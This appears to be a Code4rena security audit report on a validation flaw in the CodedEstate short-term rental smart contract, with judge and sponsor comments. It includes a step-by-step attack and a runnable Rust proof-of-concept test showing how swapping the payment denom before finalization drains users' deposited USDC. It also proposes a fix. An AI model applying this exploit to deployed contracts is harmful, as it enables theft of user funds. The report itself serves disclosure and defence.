Logic flaw in check_can_edit_short allows editing short-term rental before finalization enabling theft of users' deposited funds

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-10-coded-estate/blob/main/contracts/codedestate/src/execute.rs#L1953-L1972

Vulnerability details

Impact

Malicious actor can exploit this vulnerability to steal other users' deposited token from the contract.

Description

The landlord (property owner) invokes finalizeshorttermrental on a specific rental to settle the payment. If the rental is canceled after approval or has concluded (reached check-out time), the contract sends the payment to the token owner's address.

The bug stems from an oversight in the function that checks whether a property can be re-listed for short-term rental.
The finalizeshorttermrental function uses the denom (token type) stored in the shortterm_rental struct to determine which token to use for payment:

fn finalizeshorttermrental(
    ...snipped...
    if amount > Uint128::new(0) {
    Ok(Response::new()
        .add_attribute("action", "finalizeshorttermrental")
        .add_attribute("sender", info.sender)
        .add_attribute("token_id", token_id)
        .add_message(BankMsg::Send {
            to_address: target.clone(),
            amount: vec![Coin {
                denom: token.shortterm_rental.denom, // @contest-info denom is loaded from short-term rental agreement
                amount: amount,
            }],
        }))            
    } 
    ...snipped...

The setlistforshorttermrental function, which can change this denom, is supposed to be callable only when there are no active rentals. This is checked by the check_can_edit_short function:

pub fn setlistforshorttermrental(
// function arguments
) -> Result<Response<C>, ContractError> {
    let mut token = self.tokens.load(deps.storage, &token_id)?;
    // ensure we have permissions
    self.check_can_approve(deps.as_ref(), &env, &info, &token)?;
    self.check_can_edit_short(&env, &token)?;

    token.shortterm_rental.islisted = Some(true);
    token.shortterm_rental.price_per_day = price_per_day;
    token.shortterm_rental.available_period = available_period;
    token.shortterm_rental.auto_approve = auto_approve;
    token.shortterm_rental.denom = denom;
    token.shortterm_rental.minimum_stay = minimum_stay;
    token.shortterm_rental.cancellation = cancellation;
    self.tokens.save(deps.storage, &token_id, &token)?;

    Ok(Response::new()
        .add_attribute("action", "setlistforshorttermrental")
        .add_attribute("sender", info.sender)
        .add_attribute("token_id", token_id))
}
pub fn check_can_edit_short(
    &self,
    env:&Env,
    token:&TokenInfo<T>,
) -> Result<(), ContractError> {
    if token.rentals.len() == 0 {
        return Ok(());
    }
    else {
        let current_time = env.block.time.seconds();
        let last_check_out_time = token.rentals[token.rentals.len()-1].renting_period[1];
        if last_check_out_time < current_time {
            return Ok(());
        }
        else {
            return Err(ContractError::RentalActive {});
        }
    }
}

However, this function only checks if the current time exceeds the last rental's check-out time. It doesn't verify whether all rentals have been finalized or if there are any pending payments.

This oversight allows a malicious landlord to change the denom after a rental period has ended but before finalization, potentially getting payment in a more valuable token than originally configured.

The attack scenario could unfold as follows:
Attacker starts with two accounts, one as landlord and one as renter.

1. Attacker (as landlord) mints a new token and lists it for short-term rental, specifying a low-value token (e.g., TokenX worth $0.01) as the denom.
2. Attacker (as renter) reserves a short-term rental on their own token, paying with TokenX (e.g., 1,000 TokenX ≈ $10).
3. After the rental period ends (current time > check_out_time), the attacker (as landlord) calls setlistforshorttermrental to change the denom to a high-value token (e.g., USDC worth $1).
4. Attacker then calls finalizeshorttermrental to settle the payment.
5. Attacker receives 1,000 USDC ($1,000) instead of TokenX, effectively stealing $990 from the contract's pool of user deposits.

This exploit allows the attacker to artificially inflate the value of their rental payment, draining funds from the contract that were deposited by other users.

Proof-of-Concept

The following test demonstrate the described scenario.

Boilerplate for PoC: https://gist.github.com/nnez/c76b1a867dd8dc441dbe552e048b796e

Steps

1. Replace everything in contracts/codedestate/src/multi_tests.rs with boilerplate from above secret gist.
2. Insert below test:

#[test]
fn h2_drain_funds_by_updating_listing_denoms_before_finalize() {
    let (mut app, contract_addr) = mock_app_init_contract();
    
    // Part I - Legitimate listing and reservation
    // Minter mints a new token
    execute_mint(&mut app, &contract_addr, MINTER, TOKEN_ID);
    // Asserts that token is minted
    assert_eq!(query_token_count(&app, &contract_addr.to_string()), 1);
    
    // MINTER lists short-term rental - 100 USDC a day
    let list_short_term_rental_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetListForShortTermRental { 
        token_id: TOKEN_ID.to_string(), 
        denom: USDC.to_string(), 
        price_per_day: 100, 
        auto_approve: true, 
        available_period: vec![], 
        minimum_stay: 1, 
        cancellation: vec![]
    };
    let res = app.execute_contract(
        Addr::unchecked(MINTER),
        contract_addr.clone(),
        &list_short_term_rental_msg,
        &[],
    );
    assert!(res.is_ok());

    // TRAVELER makes a reservation for 10 days, paying 1000 USDC
    init_usdc_balance(&mut app, TRAVELER, 1000);
    let tmr = app.block_info().time.plus_days(1);
    let list_short_term_rental_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetReservationForShortTerm { 
        token_id: TOKEN_ID.to_string(), 
        renting_period: vec![tmr.seconds().to_string(), tmr.plus_days(10).seconds().to_string()], 
        guests: 1
    };
    let res = app.execute_contract(
        Addr::unchecked(TRAVELER),
        contract_addr.clone(),
        &list_short_term_rental_msg,
        &vec![Coin {
            denom: USDC.to_string(),
            amount: Uint128::new(1000),
        }],
    );
    assert!(res.is_ok()); // Everything is ok
    // Assert that the contract now holds 1000 USDC
    assert_eq!(query_usdc_balance(&app, &contract_addr.to_string()), 1000);
    advance_blocks(&mut app, 1000);

    // Part II
    // ATTACKER Flow
    // 1. Attacker mints new token
    // 2. Attacker lists the token accepting useless coin and short staying period
    // 3. Attacker reserves their own listing 
    // 4. Attacker updates the listing denom to any denom with monetary value such as USDC
    // 5. Attacker finalizes the listing and drain USDC.
    const ATTACKER: &str = "attacker";
    const ATTTCKER_TOKEN_ID: &str = "attacker-token";
    const ATTACKER_USELESS_DENOM: &str = "useless-coin";
    
    // 1. ATTACKER mints the token
    execute_mint(&mut app, &contract_addr, ATTACKER, ATTTCKER_TOKEN_ID);
    
    // 2. ATTACKER lists short-term rental for 86_400_000 useless-coin a day and without minimum stay
    let list_short_term_rental_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetListForShortTermRental { 
        token_id: ATTTCKER_TOKEN_ID.to_string(), 
        denom: ATTACKER_USELESS_DENOM.to_string(), 
        price_per_day: 86_400_000, 
        auto_approve: true, 
        available_period: vec![], 
        minimum_stay: 0,
        cancellation: vec![]
    };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &list_short_term_rental_msg,
        &[],
    );
    assert!(res.is_ok());

    // 3. ATTACKER makes a reservation for only 1 second on their own listing, resulting in requiring 1000 useless-coin deposit 
    // Below is the calculation (Assumimg the platform fee of 0%)
    // rent_amount = token.shortterm_rental.price_per_day * (new_checkout_timestamp - new_checkin_timestamp)/(86400);
    //             = 86_400_000 * (1)/86400  //since we're making a 1 second reservation
    //             = 1000
    //
    // additional note. ATTACKER could even make a reservation in the past in order to be able to finalize the payment in the same block
    init_denom_balance(&mut app, ATTACKER, ATTACKER_USELESS_DENOM, 1000);
    let ytd = app.block_info().time.minus_days(1);
    let list_short_term_rental_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetReservationForShortTerm { 
        token_id: ATTTCKER_TOKEN_ID.to_string(), 
        renting_period: vec![ytd.seconds().to_string(), ytd.plus_seconds(1).seconds().to_string()], 
        guests: 1
    };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &list_short_term_rental_msg,
        &vec![Coin {
            denom: ATTACKER_USELESS_DENOM.to_string(),
            amount: Uint128::new(1000),
        }],
    );
    assert!(res.is_ok()); // Everything is ok

     // 4. ATTACKER updates rental denom to USDC
     let list_short_term_rental_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetListForShortTermRental { 
        token_id: ATTTCKER_TOKEN_ID.to_string(), 
        denom: USDC.to_string(), 
        price_per_day: 1000, 
        auto_approve: true, 
        available_period: vec![], 
        minimum_stay: 1, 
        cancellation: vec![]
    };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &list_short_term_rental_msg,
        &[],
    );
    assert!(res.is_ok()); // Everything is ok because current time already reached check_out_time of the last rental

    // 5. ATTACKER settles the payment
    let list_short_term_rental_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::FinalizeShortTermRental { 
        token_id: ATTTCKER_TOKEN_ID.to_string(), 
        traveler: ATTACKER.to_string(), 
        renting_period: vec![ytd.seconds().to_string(), ytd.plus_seconds(1).seconds().to_string()]
    };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &list_short_term_rental_msg,
        &[],
    );
    assert!(res.is_ok()); // Everything is ok

    // Funds were drained. Contract were left with the useless denom
    assert_eq!(query_usdc_balance(&app, &ATTACKER.to_string()), 1000);
    assert_eq!(query_usdc_balance(&app, &contract_addr.to_string()), 0);
    assert_eq!(query_denom_balance(&app, &contract_addr.to_string(), ATTACKER_USELESS_DENOM), 1000);
}

3. Run cargo test h2_drain_funds_by_updating_listing_denoms_before_finalize -- --nocapture
4. Observe that the test passes, indicating that the described scenario is valid.

Recommended Mitigations

• Only allow editing when there is no rental.

pub fn check_can_edit_short(
    &self,
    env:&Env,
    token:&TokenInfo<T>,
) -> Result<(), ContractError> {
    if token.rentals.len() == 0 {
        return Ok(());
    }
        
    return Err(ContractError::RentalActive {});
}

Assessed type

Invalid Validation

[c4-judge]

OpenCoreCH marked the issue as primary issue

[c4-judge]

OpenCoreCH marked the issue as selected for report

[blockchainstar12]

Changing any listing details are not allowed while active requests exist